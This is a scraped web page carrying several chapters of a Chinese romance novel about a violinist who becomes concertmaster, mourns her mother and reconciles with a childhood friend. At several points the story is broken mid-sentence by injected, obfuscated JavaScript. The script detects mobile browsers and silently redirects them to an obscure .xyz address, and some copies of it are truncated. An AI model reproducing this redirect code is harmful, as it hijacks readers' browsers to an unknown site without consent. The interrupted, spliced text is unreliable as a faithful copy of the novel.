“但那并不是没有!陆,你知道,弹簧被压到最低的时候最有力,涨潮之前的海水最暗潮汹涌,正因为你的感情被压得很紧,所以非常细腻深厚,今天的两首曲目真的都非常适合你。” “你就像、就像……”杰奎琳一时找不到措辞,眉宇紧紧皱起,忽然,她惊呼出声,“哦,就像只被关在笼子里的小鸟!” “压抑就是为了最后一刻的释放,我一直在等你把那只小鸟放出笼子,但到最后都没有等到,”杰奎琳遗憾地说:“陆,在你拉小提琴的时候,是不是从来没有真心实意地快乐过?” 陆照霜一瞬间瞳孔微放。 杰奎琳看到她的表情,恍然反应过来,朋友说东亚人都很内敛,可能不太适应她的风格,她顿时有点懊悔,“陆,我是不是说了什么不该说的话?” 陆照霜连忙摇头,有点语无伦次,“没有,你能这么说我真的很高兴,谢谢你杰奎琳,我只是有点……” 她声音低下去,几不可闻,“从来没有人这么说过我。” 杰奎琳露出同情的神色。 哦,这一定就是所谓的打压式教育,她懂! 全部候选人演奏结束,她们回到休息室,等待计分后公布结果。 能做的都已经做了,到了这一刻,陆照霜反而平静了下来。 她握着水杯,目光望向窗外,天灰蒙蒙的,云压得又厚又低,像是要下雨了。 五年前的那天好像也是这个天气。 那年她21,刚毕业,也刚加入申城交响乐团,首席选拔来得太突然,她几乎是赶鸭子上架。 为了准备考核,她忙得昏天黑地,直到她抵达音乐厅,爸爸打来电话,说妈妈今天检查的结果有点差,她才陡然意识到,这次机会意味着什么。 她绝对不能错过这次机会。 越是这么想,当她站到舞台上时,却开始耳鸣。 嗡嗡,别这样,嗡嗡,清醒点,嗡嗡,求求了,唯独今天,绝对不能,嗡嗡…… 等一切结束以后,她麻木地和其他候选人一起,为他们的新首席鼓掌。 她背着小提琴在家门口徘徊了很久,不知道该怎么跟妈妈说落选的消息,等她好不容易鼓起勇气,推开家门,却发现家里异常安静。 章若华拖着刚从医院回来的虚弱身体,坐在客厅沙发上,听见进门的声响,回头看了她一眼,就面无表情地转了回去。 陆照霜小心翼翼地叫了她一声,“妈。” 章若华冷声道:“别叫我妈,我没有你这么没用的女儿!” 陆照霜胸口好像有什么正在缓慢地崩塌,她艰难看着妈妈,“难道就因为我没选上首席,您就要这么否定我?那我陪在您身边的这几年究竟算什么?” 章若华瞬间拉高了声音,“是我让你留下来的吗!不是你非要犟着留在国内读大学吗!我让你出国你不去,我让你考首席你考不上!你要是有好好练习,今天能输吗?” “可是今天——” “别找借口!输了就够丢人的了,还找借口就更丢人了!” 陆照霜低下头,咬住唇,不再继续触怒妈妈。 然而,这短暂的沉默却不知让章若华误解了什么,她眼睛慢慢瞪大,语气几乎是肯定的,“噢,我知道了,你早就受不了我了,就想跟我对着干,盼着我死了你好解脱对吧!” 陆照霜全身血液一下子就被冻透了。 十八岁那年,章若华病情转移,医生判断章若华可能撑不了太多年,因此,陆照霜拒掉了茱莉亚音乐学院的offer,留在申城音乐学院读书。 为了达到章若华的要求,她几乎放弃了一切娱乐时间,毕业时她和任何大学同学都只是点头之交。 陪伴病人并不像文艺作品里描述得那么感人肺腑,死亡和病痛如影随形,章若华一年比一年敏感易怒,到了最近这两年,更是阴晴不定,随时随地都能因为一点小事发脾气。 陆照霜已经记不清妈妈骂过她多少次,但这是头一次,她被绝望击溃了。 整整四年的时间,最后得到的就是……“你盼着我早点死”这种指控? “您说得对,是我配不上做您的女儿。”她木然地一字字道。 说完,也不管章若华在屋里砸东西的声音,她摔上门转身离开。 “接下来公布本次考核的分数。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861637|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆照霜猛然从思绪中回神,看向前方。 朱高远作为评审团代表,手握文件夹,正在宣读。 “第十二名,唐颖,72.67分。” 唐颖把头埋进手里,无声地哭起来。 陆照霜对唐颖没有好感,但五年前那天的她自己,和现在的唐颖恐怕也没什么区别,自然也就没有落井下石的心情。 她默默低下头,焦灼地等待最后的结果。 一个个名次公布,都在意料之中,今天的演奏差异太悬殊了,几乎每个人都清楚,真正的悬念就在一二名之间。 “第二名——” 真正的决胜时刻,休息室内几乎所有视线都集中在了朱高远身上。 陆照霜手指死死攥住了腿侧的礼裙,该死,她又开始耳鸣了。 “杰奎琳·纳尔森,96.89分。” 朱高远的声音混杂在嗡嗡的蜂鸣里,有些微的扭曲变质,她没有听错吧? “第一名,陆照霜,96.90分。” 她真的没有听错吧? 直到朱高远的脚步停在她面前,她才缓慢地抬起头。 “陆照霜,”朱高远郑重地叫出她的名字,表情仍旧严肃,眼神却温和而欣慰,“恭喜你,从今天起,你就是申城交响乐团的首席。” 她缓慢地眨了下眼。 下一秒,汪嘉文飞扑过来,给了她一个大大的熊抱,“恭喜你啊照霜!” 陆照霜被撞地踉跄几步,懵了下,迟疑着说:“啊……谢谢?” 汪嘉文无语,“你看你,高兴得都不会说话了!” 后面的朱高远被逗得笑出声,几个评审团成员率先开始鼓掌,掌声一点点扩散开来,杰奎琳则眉飞色舞地给她比了个大拇指。 陆照霜曾幻想过夙愿得偿的这一刻很多次。 然而,现在,一切都实现了,还被老师的祝福和朋友的拥抱环绕着,她却觉得有种古怪的抽离和眩晕。 高兴吗? 当然该高兴的吧? 她这么想着,慢慢攒起一个笑,伸手回抱住汪嘉文。 …… 谢过所有的祝贺后,陆照霜终于得以脱身,换下礼服后就从音乐厅出来,她拿着钥匙径自去找自己的车。 只是万万没想到,她的车被别人堵在了里面,她围着对方的车转了一圈,也没看到联系方式,只好站在路边拦出租。 不知为何,今天这条路上过去的出租总是有客,眼见着天上的云越来越暗,恐怕马上就要下雨了,陆照霜难免有点焦躁,准备开始叫车。 手机刚拿出来,一辆闪着绿灯的出租就出现在街道尽头。 陆照霜眼前一亮,朝街边又站近了半步,伸手拦车。 出租车司机也看到了她,车子开始向街边偏过来。 然而就在距离她还有十米左右的时候,一辆黑色宾利从后驶来,高速越过出租,急刹在她面前。 眼熟得不能更眼熟的车,但开车的风格却陌生得像头一次见。 陆照霜一愣,就见车窗降了下来,里面露出的还是她熟悉的那个人影。 郁思弦衬衫挽在小臂,领口解开了两粒纽扣,看上去比平时仓促很多,连开口时的语调,都比平时快一点:“阿照,要去哪?” 陆照霜迟疑了下,有点为难,她不让家里的司机送她,就是不想让熟人知道她接下来要去的地方。 第一滴雨打在了车窗上,溅起极为细小的水花,声响几不可闻,这个时节的雨总是来去匆匆,恐怕马上就会变大。 郁思弦干脆问:“准备去看章阿姨?” “你怎么知道?”陆照霜脱口而出,简直要怀疑他有什么读心的特异功能。 “下雨了,阿照,先上车,”郁思弦已从内打开车门,“我送你过去。” 9. 第 9 章 陆照霜看了眼天色,无从推脱,便先上了车。 车内狭窄,距离不可避免被拉得很近。 郁思弦身上有种绿叶调的香,仿佛沾着雨天的潮气,并不突出,但同时也难以忽略。 陆照霜还没忘记,上次告别时,面对郁思弦的问题,她最后只能含糊过去,堪称落荒而逃,现在不免有些尴尬。 她飞快看了郁思弦一眼,又转了回去,犹豫片刻,还是问:“你怎么知道……我要去看我妈?” 郁思弦握着方向盘,目不斜视将车子开回车道,“首席考核出了结果,我猜你会想见见章阿姨。” 陆照霜更意外了,“你知道今天是首席考核?” 她明明告诉过萧烨好几遍,萧烨都没记下。 郁思弦平静地“嗯”了声,像是说起根本不值一提的小事,“前两天和基金会的人吃了顿饭,听说了。” 末了,他又补充一句,“恭喜入选,阿照。” 陆照霜恍然大悟。 郁家在申城交响乐团的基金会中占有着最大比重,还卡着乐团的票务和CD营销渠道,地位举重若轻,这种重大的人事变动,会通知郁思弦也不奇怪。 “你的消息还真灵通,”她笑了下,把头发拨到耳后,“谢谢。” 郁思弦透过后视镜,很轻地扫过她面容。 她虽然在笑,但笑意不达眼底,右手抓着左手小臂,手背上微微鼓起青色血管,力道不轻。 这并不是一个得偿所愿的人,应该有的反应。 他一直担心的就是这种事。 见她明明已有些心神不宁,却还强打起精神说话,郁思弦不动声色收回目光,打开音乐,敲了下耳边根本没有连接的蓝牙耳机,“抱歉,阿照,我可能有个电话会议要听。” “没事,你先忙你自己的事就好。”陆照霜连忙说。 一时间,车内只剩下阿沃·帕特的《镜中镜》,钢琴和弦乐器共同组成了纯净平和的音色。 不必再费心说话,陆照霜先前刻意维持的微笑,也就慢慢坍塌成一无所有的空洞。 她偏头看着窗外,雨已经开始下了,打在车窗上,化成一道道向后奔流的水痕,视线都因此模糊不清。 五年前那天的事,最后并没能以一场普通的吵架收场。 她摔门离开后,接了一个去外地交流演出的工作。 谈不上离家出走,只是稍稍喘口气而已,她想,反正妈妈也不想见到她,正好她们都冷静一下。 然而就在演出当天,她接到爸爸的电话,那是她第一次从爸爸的声音里听到那么明显的哭腔。 他说妈妈正在ICU抢救,情况很不乐观,原本前两天就该告诉她的,但妈妈一直不让。 她脑子嗡的一下,根本没感知到任何清晰的情绪,只是凭借理智,说好,我马上就回家。 她抓起手机和身份证,就冲出去赶最早一班回申城的飞机,在出租车上,她跟主办方道了歉,通过自己的人脉,找了一位替换上场的小提琴手。 她尽力去补救了,可遭逢暴雨、飞机延误,等她到的时候,什么都晚了。 据说妈妈最后神志不清,拉着朱高远的手说:“一定要阿霜……” 一定要什么呢? 妈妈想要她这个连最后一面都没赶上的不孝女,做什么呢? …… 车已经开到了墓园,郁思弦偏过头,只能看到陆照霜的后脑。 她看了墓园的大门好一会儿,手指搭在车内锁扣上十几秒,都没能下定决心打开。 如果是她一个人来,那这些忐忑和纠结都可以去自行吸收,即便最后没有进去,也不会有人知道。 但郁思弦在,她不想白白麻烦他一趟。 咬了咬唇,她按住拉手。 “咔哒。”车门却被锁上了。 陆照霜呆了下,转过头,不明所以。 郁思弦直视她的眼睛,语气十分冷静,“阿照,如果不想去,那不是非要今天过去。” 并没有刻意安慰人的那种温和,却让陆照霜心中微微一动。 妈妈的葬礼上,她时常察觉别人偷偷打量她,暗地里说她真冷血,一滴眼泪都没有掉过。 但是,一想到自己的流泪,变成了展示她并不冷血的证明,这种异化感就让她更加没法哭出来。 那时候郁思弦一直陪在她身边,总是严肃地据理力争,要求那些人收回前言。 从未有一次,反过来说她奇怪。 从那时到现在,他好像什么都看出来了,连她那些不足为人道的懦弱,也一并知悉,却依旧理所当然地包容了,没有觉得她很奇怪。 陆照霜之前微妙的情怯,在这样平静的接纳下,竟然淡去了不少。 她深呼了一口气,“没关系,可以去的。” 郁思弦打量她片刻,似乎是确认她所言非虚,然后按下中控台解锁,将折叠伞递给她。 两人一前一后走进墓园。 雨天无人吊唁,不必在他人的注视下,被迫成为某种特定仪式中的演员。 他们踩在雨水横流的石板路上,一切风雨声都逐渐变为了乐曲的前奏,在接引他们去见故人。 陆照霜在墓前站定。 墓碑上,章若华的照片摄于很多年前,那时她年轻很多,眼里很亮,藏着不驯的骄傲和野望,嘴角的笑意却也不乏温柔愉悦。 那是章若华风华正茂的时候。 章若华从不对人示弱,宁愿愤怒、尖锐、刻薄地亮出牙齿,也不愿意让人看出她的软弱。 所以陆照霜想象不了,在最后的那一刻,妈妈究竟是有多不甘、多遗憾,才能不顾体面地拉住朱老师的手,试图说点什么,却仍旧没能说完。 如果她那天没有任性地离开家,是不是一切都会不一样?如果她那天没有落选,是不是一切都会不一样? 郁思弦站在她身后,凝视着她沉默的背影。 现在的雨势不是一柄伞能挡得住的,冰冷的雨珠顺着她小腿流下去,她都快被浇透了,却还是一动不动。 他无意打扰阿照,但她待得太久了,有感冒的嫌疑。 “阿照。” 还没等他思索出劝她离开的措辞,陆照霜的声音就先从前方传来。 “思弦,你说,妈妈到底想让我做什么呢?” 郁思弦一怔。 陆照霜好像并没有真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郁思弦看着她的表情,反问:“如果我说了,你会照做吗?” 陆照霜愣了下。 实际上,她对郁思弦的理性有着充分的信任,如果郁思弦真的说了,应当会是十分合理的要求。 但他既然这么问了,她便谨慎回答:“我考虑考虑。” 郁思弦淡淡一笑,声音温和,却和她同样认真,“不用,阿照,我只希望你为你自己做选择。” “我本来也没有不为我自己做选择吧?” “嗯,”郁思弦煞有介事地点点头,将伞递给她,“那以后继续保持。” 陆照霜有些摸不着头脑,但也不计较了,叮嘱了他好几遍回家喝姜汤,这才不安地下了车。 看到陆照霜的身影消失在门后,郁思弦才收回视线。 他微微抬眼,透过后视镜,看到自己泛着猩红的眼睛,自嘲一笑。 这些年他固步自封,简直像个瞎子,漠视了阿照的所有痛苦。 现在,没什么可再犹豫的了。 10. 第 10 章 五月初,陆照霜迎来了她当选首席后的首次演出。 “啪啪啪啪——” 随着拉赫玛尼诺夫第二交响曲在激昂的合奏中结束,申城音乐厅内响起如雷掌声,每个观众脸上都露出满足笑容,足以证明本场演出的成功。 “照霜,你今天表现得很棒。” 朱高远偏过身,再也忍不住嘴角笑意,夸赞了陆照霜一句。 “谢谢老师。”陆照霜笑笑,只是当她目光从观众席掠过时,笑容仍有一丝凝滞。 她亲自买好的那个位置,这次也空无一人。 萧烨最近在萧父的安排下,正式进入了总公司,开始着手接管内部事务,这一阵忙得脚不沾地,她也没法苛责什么。 第一次首席演出固然重要,但未来她的演出还多得是,没必要纠结这一点。 陆照霜重新弯起嘴角,目光从空座位上移开,落落大方地鞠躬行礼。 回到后台,不管是平日里对付的、还是不对付的团员,都来向她道贺,连唐颖都不情不愿地被裹挟其中,她一一谢过。 等结束后,汪嘉文愤愤道:“他们可真会看人下菜碟。” “算了,”陆照霜反过来宽慰她,“不重要。” “你就是太好说话了!唉,确实也没办法,算了就算了吧。” 汪嘉文情绪来得快去得也快,转而又把头凑过来,揶揄道:“话说你老公今天来了没?今天这场合,他不得给你送个花,然后去吃个烛光晚餐?” 陆照霜“哦”了声,耸耸肩,“抱歉,他今天很忙,你说的这些一样都没有。” 汪嘉文睁大了眼,“什么?” “就是你听到的那样。” “我天,在你身上,我深刻见识到了未婚的重要性。想当年,你结婚前,每次演出定时定点两束花,一结婚,‘啪!’全没了!你说郁思弦要避嫌,不送花也就算了,你老公这是该教育教育了。” 陆照霜原本因为萧烨没来而升起的烦闷,都因为汪嘉文散去不少,她也就顺着汪嘉文的话玩笑道:“好好好,等我回去就说他。” “咚咚——”有人敲门。 “请问陆小姐在吗?” 陆照霜疑惑地过去开门,穿着制服的小姐姐捧着一束鲜艳的黄色玫瑰,一下子闯进她眼里。 “这是给您的花,陆小姐。” 汪嘉文立刻“哇”了一声,“真来送花呀?感情是瞒着你搞惊喜呢,萧烨这人还挺上道的嘛!” 陆照霜心中一动,但喜悦还未被切实感知到,她就注意到工作人员脸上的茫然。 “这是郁先生送您的花。” 两人一起怔住了。 陆照霜这时才注意到,花束中别着一张卡片,是郁思弦的笔迹。 “祝演奏顺利,阿照。” 卡片背后印着花语——“Friendshiplastsforever.” 友谊长存。 撇净了所有瓜田李下的嫌疑。 陆照霜把花接过,道谢后又问:“他人呢,走了吗?” 工作人员摇了摇头,给她指了个位置,“郁先生在那边的休息室呢。” “好的,谢谢。” 等工作人员走后,陆照霜抱着花,挑眉看向汪嘉文。 汪嘉文只恨自己嘴太快,有点尴尬地挠了挠头,“也对,要是你老公送的,也就没必要避讳红玫瑰了,哈哈,没想到郁思弦又开始送你花了……算了,管他呢,反正都是好事!” 主打一个放弃治疗。 陆照霜好笑地摇摇头,将花插进一个空置的花瓶内,便道:“那我先去找一下思弦。” 汪嘉文赶忙,“你快去!” 沿着工作人员所指的方向,陆照霜很快就看到了郁思弦。 走廊尽头的休息室,门敞开着,郁思弦独自一人坐在其中,正凝视着窗外高大的松树。 屋内灯光冷白,把他的影子在地上拉成长长的一条线,和挺拔孤冷的树影交错在一起,无端让人觉得十分寂寥。 每当看到他这副模样,陆照霜都会心头一酸。 这件事现在已经没什么人知道了,郁思弦六岁时,其实发生过一场意外。 彼时他正和母亲在加州度假,偶然遭遇了一场枪击案,郁思弦没有受致命伤,因为他的母亲用自己的身体牢牢护住了他。 自那以后,他长期缠绵病榻,还因心理原因患上了失声症。 因为怕触景生情,所以郁叔叔带着郁思弦搬到了南郊别苑。 他们那一片有许多同龄的小孩,可以互相结伴玩耍,但郁思弦显然不在此列。 陆照霜每次跑去看郁思弦时,他的房间里永远只有他孤零零一个人,他总是坐在床边,安静望着窗外。 那种眼神很空,既没有羡慕渴望,也没有嫉妒怨怼,只有一种接受一切后的木然。 也许是那个眼神让陆照霜太害怕了,害怕他有朝一日,会从那个窗户里消失不见,所以但凡有空,她就会跑去跟郁思弦絮絮叨叨说很多乱七八糟的话。 她觉得郁思弦应该不会喜欢听她那些的,可当她问郁思弦会不会觉得她很烦的时候,郁思弦十分诧异地看她一眼,然后一笔一划、认认真真在纸上写,“不会。” “谢谢你,在我一个人的时候,愿意陪在我身边。” 陆照霜并不迷信,但她衷心希望,所有历经苦难的人,都能在往后的人生中得到补偿。 她走进去时,特意加重了脚步,仿佛要通过这种方式,来打破郁思弦世界里的一片寂静。 “来都来了,干嘛一个人在这里坐着?” 郁思弦转头,在看到她的一瞬间,眉目温和下来,起身朝她走近,“阿照。” 挨得近了,陆照霜才注意到,他眼底有淡淡的青色。 想到上次在墓园他还淋了雨,陆照霜只有一种深深的无可奈何,“既然工作这么忙,何必还非要过来听音乐会?” 说来奇怪,哪怕是在他们疏远的那两年里,郁思弦也从未错过任何一场她的演出。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861639|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无论是在申城亦或是国际巡演,他来了又走,并不多做停留,但确实每次都听完了全场。 陆照霜对萧烨都没有这样的期待,她每次给萧烨寄门票,只不过是希望萧烨偶尔能过来看看罢了。 “你的心意我收到了,但真的用不着每次都来,你回家好好休息就好了。” 通常,郁思弦都是个很好说话的人。 她要求郁思弦做什么的时候,郁思弦几乎都会毫不犹豫地答应。 可这次,郁思弦却摇了下头。 “这可不行,阿照,”郁思弦看着她,语气有种莫名的坚持,“这是一个重要的约定,我不想变成一个不守承诺的人。” “什么承诺?” “这我还不能告诉你。” 陆照霜气结,“好吧,无论如何,谢谢你的花。” “你喜欢吗?” “嗯,很好看。” 说到底,谁又会讨厌漂亮的东西呢?何况郁思弦的便签写得清清楚楚,连传绯闻的可能都帮她杜绝了。 郁思弦眼里浮现微不可查的笑意,“你喜欢就好,以后不会再让你演出结束收不到花的。” 陆照霜心里却忽地一沉。 原来这就是他时隔两年,又开始送她花的理由,因为他不知道从谁那里听说了,她再也没有收到过萧烨的花。 “不要,”陆照霜抵触地说:“你不要再送我花了。” 他们中间隔着一个人的距离,郁思弦似是一怔,眼中闪过了一丝她看不懂的黯然。 但他开口时,声音仍旧是平稳的,“阿照,我连花都不可以送给你吗?” 陆照霜此刻心烦意乱,没能察觉到他语气中透出的那一丝不同寻常的执着。 她连名带姓叫他的名字,“郁思弦,我很喜欢花,这没错,但我不喜欢被人同情。” “同情?”郁思弦重复了一遍,然后了然地点了一下头,又不可思议地看向她,“你怎么会觉得……那是同情?” 陆照霜茫然,“不然是什么?” 郁思弦眼睫微垂,声音温和中带着一丝不易察觉的苦涩,“我只是觉得很抱歉。” 他这歉意来得莫名其妙,陆照霜仔细从记忆里扒拉半天,才勉强想到,大概是指上次问她过得好不好的事吧? 但这件事都过去那么久了,她都快忘了,因此陆照霜宽容地笑了笑,“好吧,如果是为那天你说的话,那我原谅你了。” “啊……”郁思弦顿了下,“那天的事也很抱歉,我不该非要你说你不想说的话。” 陆照霜一愣。 也很抱歉?所以,他本来想抱歉的是什么? 这一次,郁思弦没有再语焉不详。 他直白、歉疚、又遗憾地直视她的眼睛,“我以前以为……那样对我们都更好一点。” 陆照霜不解地眨了一下眼,然后就因为他的下一句话,翻涌起难以自抑的泪意。 “阿照,是我错了。在你一个人的时候,没有陪在你身边。”郁思弦说。 11. 第 11 章 陆照霜一直在说服自己,接受那些理所当然的事情。 无论是工作上诽谤她的同事,还是生气时打伤了她的父亲,抑或是把她晾在国内两年的萧烨。 他们从没对她说过抱歉。 可郁思弦明明没有对她做过什么,只是在这两年里远离了她的生活而已。 如果这种程度就是需要抱歉的事情,那其他人对她做的事,又算什么呢? “怎么会是你来跟我道歉?”陆照霜低声喃喃,无措地用手捂住半张脸。 郁思弦感觉她整个人都在抖。 他想拿开她的手,看看她现在的表情,也想搂过她的肩膀,让她可以哭得更直率一点。 这两个选择在他的脑海中很快掠过,因为理智知道不合适,所以他终究只是、也只能静静看着陆照霜。 “需要我回避吗?”郁思弦放缓了声音,“或者我去请汪小姐过来陪你。” “你真的是!不用总是这么大惊小怪。”陆照霜深吸了一口气,声线虽然还有些颤抖,但已经把手放了下来。 她的眼眶微微发红,不过确实没有哭。 看到她这样的反应,郁思弦也并不觉得意外。 这种不肯服软、很容易伤到她自己的倔强,也是她性格中的一部分。 郁思弦没有再出声刺激她,两个人就这样静默地站了一会儿。 陆照霜感觉自己的情绪平复了很多,她又抬头看郁思弦,“所以你现在,又重新成为我的朋友了吗?” 他们最近的关系已比过去两年亲近了许多,成年人大多总会这样心照不宣地远离或者靠近,可她偏偏一定要问出一个明确的答案。 郁思弦心头好像被羽毛轻轻扫过,忽然有种后知后觉的领悟。 他想,原来他对陆照霜来说,也是十分重要的,尽管并不是像萧烨那种形式的重要。 “当然,”郁思弦说,语调中有种很让人信服的力量,“只要你不赶我走,我会永远陪在你身边。” 他的承诺,和她的提问之间,似乎有种诡异的差别,但陆照霜一时还说不出这种微妙的错乱到底来自哪里。 她抓住她失而复得的友情,紧紧盯着郁思弦,“如果你再那样一句话也不说,就突然开始疏远我,那我们就再也不要和好了。” 这当然只是夸张的威胁,但郁思弦很郑重地答应了一声,“嗯。” 他们离得这么近,可他的声音却有几分渺远,“我知道,我的人生从来不会有第三次机会。” * 晚上回家,萧烨又毫无征兆地突然出差,只留给她一句姗姗来迟的微信消息:【临时通知要出差,明晚就回来,到时候给你带礼物。】 陆照霜心情算不上好,但或许是因为那份失而复得的友情,她并没有受到太大影响,晚上难得睡了一个好觉。 她梦到了一个极为久远的回忆。 十岁那年,郁叔叔不再顾及郁思弦,公然将他新娶的妻子和新生的小孩带回了南郊别苑。 一家三口时常在小区内散步,旁若无人,仿佛不存在另一个被忽视的孩子。 陆照霜和萧烨一致站在郁思弦这边,决定给他们一个恶作剧。 那天郁思弦的父亲和继母在家里招待客人,来了许多叔叔阿姨和他们的小孩儿。 厨房里菜多到放不下,有一大半暂且搁置在储物间内,经过他们的侦查,发现其中有一筐已经用棉绳绑好的大闸蟹。 于是他们偷偷溜进储物间,陆照霜把门打开一道细缝,小心地探头放风,萧烨则拿了一把剪刀把棉绳全都剪开。 做完这一切,他们俩就偷偷跑回二楼,潜伏在楼梯扶手后面。 等到那筐大闸蟹被送进厨房,萧烨就拿弹弓将那只筐打得翻倒,大闸蟹争先恐后从筐里钻出来,在客厅里爬来爬去。 小孩子们有的吱哇大叫,有的嚎啕大哭,客人们全都大惊失色,郁思弦的父亲和继母脸色难看极了,还要强作镇定,指挥厨师把螃蟹抓回去。 整个一楼乱作一团,陆照霜险些笑出声,萧烨立刻捂住了她的嘴,给她比了个“嘘”的手势,“小声点阿霜。” 她慌忙捂住嘴,连连点头。 然后萧烨拉住她的手,带她逃离案发现场。 他们躲回郁思弦的房间,背抵着房门,一手抚着胸口,一手捂住嘴巴强忍住笑声,只有眼睛控制不住地弯成月牙。 郁思弦手里还拿着书,很无奈地看着他们两,简直像大人教训小孩儿一样,对萧烨说:“你不该带着阿照胡闹的。” 陆照霜立刻拧起眉,坚决抵制郁思弦这种将所有功劳全部算在萧烨头上的行为,“才不是萧烨带着我,明明是我们俩一起策划好的!” 郁思弦看着她,张了张嘴,显得更加无可奈何了。 萧烨索性揉了个纸团,扔过去砸在郁思弦身上,没好气地说:“别装了,你就说我们给你出气,你高不高兴吧。” 郁思弦努力想要维系住自己的表情,但最终被他们打败了一样。 微风扬过纱窗,浅色的窗帘在地面上投下波浪般的影子,他就坐在那片海浪里,泄气地唇角微扬。 “好吧,是还挺高兴的。”他不自在地说。 陆照霜醒来的时候,初夏的早晨还很凉,空旷的房间里只有她一个人,床头柜上,萧烨在结婚照里的笑容仍旧暧昧不明。 那样绚烂而快乐的少年时代,终究是一去不复返了。 * 下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861640|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六点,排练结束。 陆照霜站在音乐厅门口,找了一下郁思弦的车,却没有找到。 昨天在他们和好之后,郁思弦提出有件事想请她帮忙,内容保密,只说今天下班后会来接她。 陆照霜看了眼时间,倒并不恼火,只是很意外,郁思弦也会有不守时的时候。 她打开微信,正准备将这个难得一见的破绽抓住,好嘲笑他也有今天,没料到字打到一半,身后就传来郁思弦的声音。 “阿照。” 她回身一看,郁思弦难得没有穿正装,深棕色的衬衫和浅色工装裤,抬手朝她打招呼时,袖口处露出黑色腕表,一派休闲打扮。 陆照霜快步过去,上下打量他几眼,“我现在真是越来越好奇,你说的这个忙是什么了?” “你马上就会知道了,而且要不要帮这个忙,决定权在于你自己,我只是带你过去看一眼。” 郁思弦极其顺手地接过她的琴盒,单肩背上,“走吧。” 走出几步,陆照霜发现他们并不是去停车场,不免疑惑,“今天没开车吗?” “开了,在那边。”郁思弦指向长街尽头。 “干嘛停那么远?”陆照霜环视四周,这附近并不是没有停车的地方。 “过来的时候看到风景不错,所以干脆决定散步过来。” “你也会做这种事啊。”陆照霜更意外了。 或许是因为郁思弦总以稳重严肃的形象示人,以至于这种兴之所至的时刻在他身上出现,便叫人觉得十分新鲜。 郁思弦闻声停下,与她隔着两步远的距离,偏过头看她,“阿照,你是不是忙到连花开了都没发现?” 陆照霜蓦然睁大眼睛。 直至这一刻,她才注意到,在郁思弦身后,两侧绿化带里的樱花纷纷盛开,摇曳着繁复娇美的花瓣,在地面上铺下柔软而厚重的一层,一路通向夕阳坠落的方向。 街道两边都有特地停下来拍照的路人,被红灯堵在路上的车子特地降下车窗,乘客在这短暂的间隙,伸出手接下几片飘零的花瓣。 就连此刻正站在她面前的这个人,都说着,因为看到了漂亮的景色,所以决定散步过来。 陆照霜身边既有美丽的风景,也有驻足欣赏风景的人,而她日日夜夜于此间往复,却没有任何一片花瓣落进她的眼里。 陆照霜久久无法从这种震惊中回神,她是从什么时候开始,都忘记去欣赏盛开的花了呢? “阿照。” 郁思弦将她从那一刻惶惑又迷茫的思绪中唤醒。 夕阳温柔的暖色倒映在他眼里,他轻声说:“樱花的花期虽然不长,但也才刚刚开放,所以不用遗憾,你还有很长的时间可以去看。” 12. 第 12 章 “到了。”郁思弦伸手做出一个请的姿势。 陆照霜目光犹疑,在那家店的装潢和郁思弦的脸上来回移动,最终忍不住道:“你今天可真让我觉得意外。” 这竟然是一间地下酒吧。 陆照霜并不意外萧烨喜欢去酒吧玩,但她真的很意外,郁思弦会和这种地方扯上关系。 别说娱乐场所了,郁思弦看上去对俗世没有任何多余的念头。 “你会觉得意外,这在我看来,更像是一句夸赞。”郁思弦轻笑一声,伸手将门掌住。 “阿照,想进去看看吗,还是打道回府?我说过,这件事全凭你的意愿。” 无论是他的表情,还是他的语气,都没有任何强迫的含义,纯粹是一种邀请的姿态,在试图引诱她走进这个地方。 陆照霜很难说清,到底是因为感谢那场樱花,还是仅仅出于对郁思弦今天一切新奇表现的探究? 总之,犹豫的想法只停留了不多几秒,她就选择踏入其中。 这间酒吧的色调偏暗,呈现一种电影里常见的废土风格,并没有乱七八糟的光束和吵闹舞曲,里面只有一群安静喝酒的人。 他们的穿着大都落拓不羁,新潮又特立独行,脸上的表情既骄傲又散漫,端起酒杯时,有种想要一醉方休的失落。 如果说杜宇宁的那间夜宴,给人一种糜烂的气息,那这间酒吧的气质,或许只能用“颓丧”来形容。 陆照霜发现自己并不讨厌这种感觉,但她仍旧很奇怪,郁思弦来这里是要做什么? 她疑惑地看过去,郁思弦给了她一个稍安勿躁的眼神,然后径自走到酒保那边,两人熟稔地打了声招呼。 